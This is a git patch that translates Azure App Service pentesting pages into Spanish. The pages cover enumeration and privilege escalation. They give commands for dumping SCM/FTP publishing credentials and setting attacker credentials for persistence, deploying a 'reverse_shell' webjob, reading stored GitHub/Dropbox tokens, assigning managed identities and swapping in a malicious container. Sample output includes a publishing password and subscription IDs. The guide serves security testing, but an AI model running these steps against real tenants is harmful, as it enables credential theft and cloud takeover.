From a7f66ced9e0a8b3b1ca0ba61e5e8172af331e065 Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 3 Jan 2025 19:25:28 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/azure-security/az-enumeration-tools.md --- .../azure-security/az-enumeration-tools.md | 38 ++- .../az-app-services-privesc.md | 253 +++++++++++++++++- .../az-services/az-app-service.md | 186 +++++++++---- 3 files changed, 395 insertions(+), 82 deletions(-) diff --git a/src/pentesting-cloud/azure-security/az-enumeration-tools.md b/src/pentesting-cloud/azure-security/az-enumeration-tools.md index bca500cab..06e9652cf 100644 --- a/src/pentesting-cloud/azure-security/az-enumeration-tools.md +++ b/src/pentesting-cloud/azure-security/az-enumeration-tools.md @@ -6,26 +6,24 @@ > [!TIP] > En Linux necesitarás instalar PowerShell Core: -> -> ```bash -> sudo apt-get update -> sudo apt-get install -y wget apt-transport-https software-properties-common -> -> # Ubuntu 20.04 -> wget -q https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb -> -> # Actualizar repos -> sudo apt-get update -> sudo add-apt-repository universe -> -> # Instalar y comenzar powershell -> sudo apt-get install -y powershell -> pwsh -> -> # Az cli -> curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash -> ``` +```bash +sudo apt-get update +sudo apt-get install -y wget apt-transport-https software-properties-common +# Ubuntu 20.04 +wget -q https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb + +# Update repos +sudo apt-get update +sudo add-apt-repository universe + +# Install & start powershell +sudo apt-get install -y powershell +pwsh + +# Az cli +curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash +``` ## Instalar PowerShell en MacOS Instrucciones de la [**documentación**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4): @@ -97,7 +95,7 @@ Azure PowerShell es un módulo con cmdlets para gestionar recursos de Azure dire Sigue este enlace para las [**instrucciones de instalación**](https://learn.microsoft.com/en-us/powershell/azure/install-azure-powershell). -Los comandos en el módulo AZ de Azure PowerShell están estructurados como: `-Az ` +Los comandos en el Módulo AZ de Azure PowerShell están estructurados como: `-Az ` #### Debug | MitM Az PowerShell diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md index 3a60ca6d6..1ac3a96d4 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md @@ -10,16 +10,16 @@ Para más información sobre los servicios de Azure App, consulta: ../az-services/az-app-service.md {{#endref}} -### Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read, +### Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read -Estos permisos permiten llamar a los siguientes comandos para obtener un **SSH shell** dentro de una aplicación web +Estos permisos permiten obtener un **SSH shell** dentro de una aplicación web. También permiten **depurar** la aplicación. -- Opción directa: +- **SSH en un solo comando**: ```bash # Direct option az webapp ssh --name --resource-group ``` -- Crear túnel y luego conectarse a SSH: +- **Crear túnel y luego conectarse a SSH**: ```bash az webapp create-remote-connection --name --resource-group @@ -32,4 +32,249 @@ az webapp create-remote-connection --name --resource-group ## So from that machine ssh into that port (you might need generate a new ssh session to the jump host) ssh root@127.0.0.1 -p 39895 ``` +- **Depurar la aplicación**: +1. Instala la extensión de Azure en VScode. +2. Inicia sesión en la extensión con la cuenta de Azure. +3. Lista todos los servicios de App dentro de la suscripción. +4. Selecciona el servicio de App que deseas depurar, haz clic derecho y selecciona "Iniciar depuración". +5. Si la aplicación no tiene la depuración habilitada, la extensión intentará habilitarla, pero tu cuenta necesita el permiso `Microsoft.Web/sites/config/write` para hacerlo. + +### Obtención de credenciales SCM y habilitación de autenticación básica + +Para obtener las credenciales SCM, puedes usar los siguientes **comandos y permisos**: + +- El permiso **`Microsoft.Web/sites/publishxml/action`** permite llamar: +```bash +az webapp deployment list-publishing-profiles --name --resource-group +# Example output +[ +{ +"SQLServerDBConnectionString": "", +"controlPanelLink": "https://portal.azure.com", +"databases": null, +"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net", +"hostingProviderForumLink": "", +"msdeploySite": "happy-bay-0d8f842ef57843c89185d452c1cede2a", +"mySQLDBConnectionString": "", +"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Web Deploy", +"publishMethod": "MSDeploy", +"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443", +"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a", +"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", +"webSystem": "WebSites" +}, +{ +"SQLServerDBConnectionString": "", +"controlPanelLink": "https://portal.azure.com", +"databases": null, +"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net", +"ftpPassiveMode": "True", +"hostingProviderForumLink": "", +"mySQLDBConnectionString": "", +"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - FTP", +"publishMethod": "FTP", +"publishUrl": "ftps://waws-prod-yt1-067.ftp.azurewebsites.windows.net/site/wwwroot", +"userName": "happy-bay-0d8f842ef57843c89185d452c1cede2a\\$happy-bay-0d8f842ef57843c89185d452c1cede2a", +"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", +"webSystem": "WebSites" +}, +{ +"SQLServerDBConnectionString": "", +"controlPanelLink": "https://portal.azure.com", +"databases": null, +"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net", +"hostingProviderForumLink": "", +"mySQLDBConnectionString": "", +"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Zip Deploy", +"publishMethod": "ZipDeploy", +"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443", +"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a", +"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", +"webSystem": "WebSites" +} +] +``` +Nota cómo el **nombre de usuario siempre es el mismo** (excepto en FTP, que añade el nombre de la aplicación al principio) pero la **contraseña es la misma** para todos ellos. + +Además, la **URL de SCM es `.scm.azurewebsites.net`**. + +- El permiso **`Microsoft.Web/sites/config/list/action`** permite llamar: +```bash +az webapp deployment list-publishing-credentials --name --resource-group +# Example output +{ +"id": "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/carlos_rg_3170/providers/Microsoft.Web/sites/happy-bay-0d8f842ef57843c89185d452c1cede2a/publishingcredentials/$happy-bay-0d8f842ef57843c89185d452c1cede2a", +"kind": null, +"location": "Canada Central", +"name": "happy-bay-0d8f842ef57843c89185d452c1cede2a", +"publishingPassword": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", +"publishingPasswordHash": null, +"publishingPasswordHashSalt": null, +"publishingUserName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a", +"resourceGroup": "carlos_rg_3170", +"scmUri": "https://$happy-bay-0d8f842ef57843c89185d452c1cede2a:bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS@happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net", +"type": "Microsoft.Web/sites/publishingcredentials" +} +``` +Nota cómo las **credenciales son las mismas** que en el comando anterior. + +- Otra opción sería **configurar tus propias credenciales** y usarlas: +```bash +az webapp deployment user set \ +--user-name hacktricks \ +--password 'W34kP@ssw0rd123!' +``` +Luego, puedes usar estas credenciales para **acceder a las plataformas SCM y FTP**. Esta también es una excelente manera de mantener la persistencia. + +Recuerda que para acceder a la plataforma SCM desde la **web necesitas acceder a `/BasicAuth`**. + +> [!WARNING] +> Ten en cuenta que cada usuario puede configurar sus propias credenciales llamando al comando anterior, pero si el usuario no tiene suficientes permisos para acceder al SCM o FTP, las credenciales no funcionarán. + +- Si ves que esas credenciales están **REDACTED**, es porque **necesitas habilitar la opción de autenticación básica de SCM** y para eso necesitas el segundo permiso (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):` +```bash +# Enable basic authentication for SCM +az rest --method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \ +--body '{ +"properties": { +"allow": true +} +}' + +# Enable basic authentication for FTP +az rest --method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \ +--body '{ +"properties": { +"allow": true +} +} +``` +### Publicar código usando credenciales de SCM + +Solo con tener credenciales de SCM válidas es posible **publicar código** en el servicio de App. Esto se puede hacer utilizando el siguiente comando. + +Para este ejemplo en python, puedes descargar el repositorio de https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart, hacer cualquier **cambio** que desees y luego **comprimirlo ejecutando: `zip -r app.zip .`**. + +Luego puedes **publicar el código** con el siguiente comando: +```bash +curl -X POST "/api/publish?type=zip" --data-binary "@./app.zip" -u ':' -H "Content-Type: application/octet-stream" +``` +### Microsoft.Web/sites/publish/Action | Credenciales de SCM + +El permiso de Azure mencionado permite realizar varias acciones interesantes que también se pueden realizar con las credenciales de SCM: + +- Leer los registros de **Webjobs**: +```bash +# Using Azure credentials +az rest --method GET --url "/vfs/data/jobs//rev5/job_log.txt" --resource "https://management.azure.com/" +az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/rev5/job_log.txt" --resource "https://management.azure.com/" + +# Using SCM username and password: +curl "/vfs/data/jobs/continuous/job_name/job_log.txt" \ +--user ':>' -v +``` +- Leer el código fuente de **Webjobs**: +```bash +# Using SCM username and password: +# Find all the webjobs inside: +curl "/wwwroot/App_Data/jobs/" \ +--user ':' + +# e.g. +curl "https://nodewebapp-agamcvhgg3gkd3hs.scm.canadacentral-01.azurewebsites.net/wwwroot/App_Data/jobs/continuous/job_name/rev.js" \ +--user ':' +``` +- Crear **Webjob continuo**: +```bash +# Using Azure permissions +az rest \ +--method put \ +--uri "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/api/Continuouswebjobs/reverse_shell" \ +--headers '{"Content-Disposition": "attachment; filename=\"rev.js\""}' \ +--body "@/Users/username/Downloads/rev.js" \ +--resource "https://management.azure.com/" + +# Using SCM credentials +curl -X PUT \ +"/api/Continuouswebjobs/reverse_shell2" \ +-H 'Content-Disposition: attachment; filename=rev.js' \ +--data-binary "@/Users/carlospolop/Downloads/rev.js" \ +--user ':' +``` +### Microsoft.Web/sites/config/list/action + +Este permiso permite listar las **connection strings** y los **appsettings** del servicio de aplicaciones, que pueden contener información sensible como credenciales de base de datos. +```bash +az webapp config connection-string list --name --resource-group +az webapp config appsettings list --name --resource-group +``` +### Microsoft.Web/sites/write, Microsoft.Web/sites/read, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + +Estos permisos permiten **asignar una identidad administrada** al servicio de App, por lo que si un servicio de App fue comprometido anteriormente, esto permitirá al atacante asignar nuevas identidades administradas al servicio de App y **escalar privilegios** a ellas. +```bash +az webapp identity assign --name --resource-group --identities /subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/ +``` +### Leer Credenciales de Terceros Configuradas + +Ejecutando el siguiente comando es posible **leer las credenciales de terceros** configuradas en la cuenta actual. Ten en cuenta que si, por ejemplo, algunas credenciales de Github están configuradas en un usuario diferente, no podrás acceder al token desde otro. +```bash +az rest --method GET \ +--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01" +``` +Este comando devuelve tokens para Github, Bitbucket, Dropbox y OneDrive. + +Aquí tienes algunos ejemplos de comandos para verificar los tokens: +```bash +# GitHub – List Repositories +curl -H "Authorization: token " \ +-H "Accept: application/vnd.github.v3+json" \ +https://api.github.com/user/repos + +# Bitbucket – List Repositories +curl -H "Authorization: Bearer " \ +-H "Accept: application/json" \ +https://api.bitbucket.org/2.0/repositories + +# Dropbox – List Files in Root Folder +curl -X POST https://api.dropboxapi.com/2/files/list_folder \ +-H "Authorization: Bearer " \ +-H "Content-Type: application/json" \ +--data '{"path": ""}' + +# OneDrive – List Files in Root Folder +curl -H "Authorization: Bearer " \ +-H "Accept: application/json" \ +https://graph.microsoft.com/v1.0/me/drive/root/children +``` +### Actualizar el código de la aplicación desde la fuente + +- Si la fuente configurada es un proveedor de terceros como Github, BitBucket o un repositorio de Azure, puedes **actualizar el código** del servicio de la aplicación comprometiendo el código fuente en el repositorio. +- Si la aplicación está configurada utilizando un **repositorio git remoto** (con nombre de usuario y contraseña), es posible obtener la **URL y las credenciales de autenticación básica** para clonar y enviar cambios con: +- Usando el permiso **`Microsoft.Web/sites/sourcecontrols/read`**: `az webapp deployment source show --name --resource-group ` +- Usando el permiso **`Microsoft.Web/sites/config/list/action`**: +- `az webapp deployment list-publishing-credentials --name --resource-group ` +- `az rest --method POST --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"` +- Si la aplicación está configurada para usar un **repositorio git local**, es posible **clonar el repositorio** y **enviar cambios** a él: +- Usando el permiso **`Microsoft.Web/sites/sourcecontrols/read`**: Puedes obtener la URL del repositorio git con `az webapp deployment source show --name --resource-group `, pero será la misma que la URL SCM de la aplicación con la ruta `/.git` (por ejemplo, `https://pythonwebapp-audeh9f5fzeyhhed.scm.canadacentral-01.azurewebsites.net:443/pythonwebapp.git`). +- Para obtener las credenciales SCM necesitas el permiso: +- **`Microsoft.Web/sites/publishxml/action`**: Luego ejecuta `az webapp deployment list-publishing-profiles --resource-group -n `. +- **`Microsoft.Web/sites/config/list/action`**: Luego ejecuta `az webapp deployment list-publishing-credentials --name --resource-group ` + +> [!WARNING] +> Ten en cuenta que tener el permiso `Microsoft.Web/sites/config/list/action` y las credenciales SCM siempre hace posible desplegar en una webapp (incluso si fue configurada para usar un proveedor de terceros) como se mencionó en una sección anterior. + +> [!WARNING] +> Ten en cuenta que tener los permisos a continuación también es **posible ejecutar un contenedor arbitrario** incluso si la webapp fue configurada de manera diferente. + +### `Microsoft.Web/sites/config/Write`, `Microsoft.Web/sites/config/Read`, `Microsoft.Web/sites/config/list/Action`, `Microsoft.Web/sites/Read` + +Este es el conjunto de permisos que permite **modificar el contenedor utilizado** por una webapp. Un atacante podría abusar de esto para hacer que una webapp ejecute un contenedor malicioso. +```bash +az webapp config container set \ +--name \ +--resource-group \ +--docker-custom-image-name mcr.microsoft.com/appsvc/staticsite:latest +``` {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-app-service.md b/src/pentesting-cloud/azure-security/az-services/az-app-service.md index a03c0bbe4..97d76e0b2 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-app-service.md +++ b/src/pentesting-cloud/azure-security/az-services/az-app-service.md @@ -12,26 +12,77 @@ Cada aplicación se ejecuta dentro de un sandbox, pero la aislamiento depende de - Las aplicaciones en los niveles Standard y Premium se ejecutan en VMs dedicadas. > [!WARNING] -> Tenga en cuenta que **ninguna** de esas aislaciones **previene** otras **vulnerabilidades web** comunes (como la carga de archivos o inyecciones). Y si se utiliza una **identidad de gestión**, podría ser capaz de **escalar privilegios a ellas**. +> Tenga en cuenta que **ninguno** de esos aislamientos **previene** otras **vulnerabilidades web** comunes (como la carga de archivos o inyecciones). Y si se utiliza una **identidad de gestión**, podría ser capaz de **escalar privilegios a ellas**. -### Aplicaciones de Función de Azure +Las aplicaciones tienen algunas configuraciones interesantes: -Básicamente, **las aplicaciones de Función de Azure son un subconjunto de Azure App Service** en la web y si accede a la consola web y lista todos los servicios de aplicación o ejecuta `az webapp list` en az cli, podrá **ver las aplicaciones de Función también listadas aquí**. - -De hecho, algunas de las **características relacionadas con la seguridad** que utilizan los servicios de aplicación (`webapp` en el az cli) **también son utilizadas por las aplicaciones de Función**. +- **Always On**: Asegura que la aplicación esté siempre en ejecución. Si no está habilitado, la aplicación dejará de ejecutarse después de 20 minutos de inactividad y se reiniciará cuando se reciba una solicitud. +- Esto es esencial si tiene un webjob que necesita ejecutarse continuamente, ya que el webjob se detendrá si la aplicación se detiene. +- **SSH**: Si está habilitado, un usuario con suficientes permisos puede conectarse a la aplicación usando SSH. +- **Depuración**: Si está habilitado, un usuario con suficientes permisos puede depurar la aplicación. Sin embargo, esto se desactiva automáticamente cada 48 horas. +- **Web App + Base de Datos**: La consola web permite crear una aplicación con una base de datos. En este caso, es posible seleccionar la base de datos a utilizar (SQLAzure, PostgreSQL, MySQL, MongoDB) y también permite crear un Azure Cache para Redis. +- La URL que contiene las credenciales para la base de datos y Redis se almacenará en los **appsettings**. +- **Contenedor**: Es posible implementar un contenedor en el App Service indicando la URL del contenedor y las credenciales para acceder a él. ## Autenticación Básica Al crear una aplicación web (y una función de Azure generalmente), es posible indicar si desea que se habilite la Autenticación Básica. Esto básicamente **habilita SCM y FTP** para la aplicación, por lo que será posible implementar la aplicación utilizando esas tecnologías.\ Además, para conectarse a ellas, Azure proporciona una **API que permite obtener el nombre de usuario, la contraseña y la URL** para conectarse a los servidores SCM y FTP. -- Autenticación: az webapp auth show --name lol --resource-group lol_group +Es posible conectarse al SCM usando un navegador web en `https:///BasicAuth` y verificar todos los archivos y despliegues allí. -SSH +### Kudu -Siempre Activo +Kudu es un **motor de despliegue y plataforma de gestión para Azure App Service y Function Apps**, proporcionando despliegues basados en Git, depuración remota y capacidades de gestión de archivos para aplicaciones web. Es accesible a través de la URL SCM de la aplicación web. + +Tenga en cuenta que las versiones de Kudu utilizadas por App Services y por Function Apps son diferentes, siendo la versión de las Function Apps mucho más limitada. + +Algunos puntos finales interesantes que puede encontrar en Kudu son: +- `/DebugConsole`: Una consola que permite ejecutar comandos en el entorno donde se está ejecutando Kudu. +- Tenga en cuenta que este entorno **no tiene acceso** al servicio de metadatos para obtener tokens. +- `/webssh/host`: Un cliente SSH basado en web que permite conectarse dentro del contenedor donde se está ejecutando la aplicación. +- Este entorno **tiene acceso al servicio de metadatos** para obtener tokens de las identidades gestionadas asignadas. +- `/Env`: Obtiene información sobre el sistema, configuraciones de la aplicación, variables de entorno, cadenas de conexión y encabezados HTTP. +- `/wwwroot/`: El directorio raíz de la aplicación web. Puede descargar todos los archivos desde aquí. + +## Fuentes + +App Services permiten cargar el código como un archivo zip por defecto, pero también permite conectarse a un servicio de terceros y obtener el código desde allí. + +- Las fuentes de terceros actualmente soportadas son **Github** y **Bitbucket**. +- Puede obtener los tokens de autenticación ejecutando `az rest --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"` +- Azure por defecto configurará una **Github Action** para desplegar el código en el App Service cada vez que se actualice el código. +- También es posible indicar un **repositorio git remoto** (con nombre de usuario y contraseña) para obtener el código desde allí. +- Puede obtener las credenciales del repositorio remoto ejecutando `az webapp deployment source show --name --resource-group ` o `az rest --method POST --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"` +- También es posible usar un **Azure Repository**. +- También es posible configurar un **repositorio git local**. +- Puede obtener la URL del repositorio git con `az webapp deployment source show --name --resource-group ` y será la URL SCM de la aplicación. +- Para clonarlo necesitará las credenciales SCM que puede obtener con `az webapp deployment list-publishing-profiles --resource-group -n ` + + +## Webjobs + +Azure WebJobs son **tareas en segundo plano que se ejecutan en el entorno de Azure App Service**. Permiten a los desarrolladores ejecutar scripts o programas junto a sus aplicaciones web, facilitando el manejo de operaciones asíncronas o intensivas en tiempo, como el procesamiento de archivos, manejo de datos o tareas programadas. +Hay 2 tipos de web jobs: +- **Continuos**: Se ejecutan indefinidamente en un bucle y se activan tan pronto como se crean. Son ideales para tareas que requieren procesamiento constante. Sin embargo, si la aplicación deja de ejecutarse porque Always On está deshabilitado y no ha recibido una solicitud en los últimos 20 minutos, el web job también se detendrá. +- **Activados**: Se ejecutan bajo demanda o según un horario. Son más adecuados para tareas periódicas, como actualizaciones de datos por lotes o rutinas de mantenimiento. + +Los webjobs son muy interesantes desde la perspectiva de un atacante, ya que podrían usarse para **ejecutar código** en el entorno y **escalar privilegios** a las identidades gestionadas adjuntas. + +Además, siempre es interesante revisar los **registros** generados por los Webjobs, ya que podrían contener **información sensible**. + +### Slots + +Los Slots de Azure App Service se utilizan para **desplegar diferentes versiones de la aplicación** en el mismo App Service. Esto permite a los desarrolladores probar nuevas características o cambios en un entorno separado antes de desplegarlos en el entorno de producción. + +Además, es posible dirigir un **porcentaje del tráfico** a un slot específico, lo cual es útil para **pruebas A/B** y para propósitos de puerta trasera. + +### Azure Function Apps + +Básicamente, **las aplicaciones de Azure Function son un subconjunto de Azure App Service** en la web y si va a la consola web y lista todos los servicios de aplicaciones o ejecuta `az webapp list` en az cli, podrá **ver las aplicaciones de Function también listadas aquí**. + +De hecho, algunas de las **características relacionadas con la seguridad** que utilizan los App Services (`webapp` en el az cli), **también son utilizadas por las Function Apps**. -Depuración ### Enumeración @@ -40,9 +91,10 @@ Depuración ```bash # List webapps az webapp list - ## Less information -az webapp list --query "[].{hostName: defaultHostName, state: state, name: name, resourcegroup: resourceGroup}" +az webapp list --query "[].{hostName: defaultHostName, state: state, name: name, resourcegroup: resourceGroup}" -o table +## Get SCM URL of each webapp +az webapp list | grep '"name"' | grep "\.scm\." | awk '{print $2}' | sed 's/"//g' # Get info about 1 app az webapp show --name --resource-group @@ -51,18 +103,24 @@ az webapp show --name --resource-group az webapp list-instances --name --resource-group ## If you have enough perm you can go to the "consoleUrl" and access a shell inside the instance form the web -# Get configured Auth information -az webapp auth show --name --resource-group - # Get access restrictions of an app az webapp config access-restriction show --name --resource-group # Remove access restrictions az webapp config access-restriction remove --resource-group -n --rule-name +# Get connection strings of a webapp +az webapp config connection-string list --name --resource-group + # Get appsettings of an app az webapp config appsettings list --name --resource-group +# Get SCM and FTP credentials +az webapp deployment list-publishing-profiles --name --resource-group + +# Get configured Auth information +az webapp auth show --name --resource-group + # Get backups of a webapp az webapp config backup list --webapp-name --resource-group @@ -75,61 +133,39 @@ az webapp config snapshot list --resource-group -n # Restore snapshot az webapp config snapshot restore -g -n --time 2018-12-11T23:34:16.8388367 -# Get connection strings of a webapp -az webapp config connection-string list --name --resource-group +# Get slots +az webapp deployment slot list --name --resource-group --output table +az webapp show --slot --name --resource-group + +# Get traffic-routing +az webapp traffic-routing show --name --resource-group # Get used container by the app az webapp config container show --name --resource-group # Get storage account configurations of a webapp -az webapp config storage-account list --name --resource-gl_group +az webapp config storage-account list --name --resource-group +# Get configured container (if any) in the webapp, it could contain credentials +az webapp config container show --name --resource-group +# Get Webjobs +az webapp webjob continuous list --resource-group --name +az webapp webjob triggered list --resource-group --name +# Read webjobs logs with Azure permissions +az rest --method GET --url "/vfs/data/jobs//rev5/job_log.txt" --resource "https://management.azure.com/" +az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/rev5/job_log.txt" --resource "https://management.azure.com/" -# List all the functions -az functionapp list +# Read webjobs logs with SCM credentials +curl "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/lala/job_log.txt" \ +--user ':' -v -# Get info of 1 funciton (although in the list you already get this info) -az functionapp show --name --resource-group -## If "linuxFxVersion" has something like: "DOCKER|mcr.microsoft.com/..." -## This is using a container +# Get connections of a webapp +az webapp conection list --name --resource-group -# Get details about the source of the function code -az functionapp deployment source show \ ---name \ ---resource-group -## If error like "This is currently not supported." -## Then, this is probalby using a container - -# Get more info if a container is being used -az functionapp config container show \ ---name \ ---resource-group - -# Get settings (and privesc to the sorage account) -az functionapp config appsettings list --name --resource-group - -# Check if a domain was assigned to a function app -az functionapp config hostname list --webapp-name --resource-group - -# Get SSL certificates -az functionapp config ssl list --resource-group - -# Get network restrictions -az functionapp config access-restriction show --name --resource-group - -# Get more info about a function (invoke_url_template is the URL to invoke and script_href allows to see the code) -az rest --method GET \ ---url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions?api-version=2024-04-01" - -# Get source code with Master Key of the function -curl "?code=" -## Python example -curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=" -v - -# Get source code -az rest --url "https://management.azure.com//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" +# Get hybrid-connections of a webapp +az webapp hybrid-connections list --name --resource-group ``` {{#endtab }} @@ -196,6 +232,40 @@ git clone 'https://:@name.scm.azurewebsites.net/repo-name.gi ../az-privilege-escalation/az-app-services-privesc.md {{#endref}} +## Ejemplos para generar aplicaciones web + +### Python desde local + +Este tutorial se basa en el de [https://learn.microsoft.com/en-us/azure/app-service/quickstart-python](https://learn.microsoft.com/en-us/azure/app-service/quickstart-python?tabs=flask%2Cwindows%2Cazure-cli%2Cazure-cli-deploy%2Cdeploy-instructions-azportal%2Cterminal-bash%2Cdeploy-instructions-zip-azcli). +```bash +# Clone repository +git clone https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart +cd msdocs-python-flask-webapp-quickstart + +# Create webapp from this code +az webapp up --runtime PYTHON:3.9 --sku B1 --logs +``` +Iniciar sesión en el portal SCM o iniciar sesión a través de FTP permite ver en `/wwwroot` el archivo comprimido `output.tar.gz` que contiene el código de la aplicación web. + +> [!TIP] +> Simplemente conectarse a través de FTP y modificar el archivo `output.tar.gz` no es suficiente para cambiar el código ejecutado por la aplicación web. + +**Un atacante podría descargar este archivo, modificarlo y volver a subirlo para ejecutar código arbitrario en la aplicación web.** + +### Python desde Github + +Este tutorial se basa en el anterior pero utilizando un repositorio de Github. + +1. Haz un fork del repo msdocs-python-flask-webapp-quickstart en tu cuenta de Github. +2. Crea una nueva aplicación web de Python en Azure. +3. En `Deployment Center`, cambia la fuente, inicia sesión con Github, selecciona el repo forkeado y haz clic en `Save`. + +Al igual que en el caso anterior, iniciar sesión en el portal SCM o iniciar sesión a través de FTP permite ver en `/wwwroot` el archivo comprimido `output.tar.gz` que contiene el código de la aplicación web. + +> [!TIP] +> Simplemente conectarse a través de FTP y modificar el archivo `output.tar.gz` y volver a activar un despliegue no es suficiente para cambiar el código ejecutado por la aplicación web. + + ## Referencias - [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview)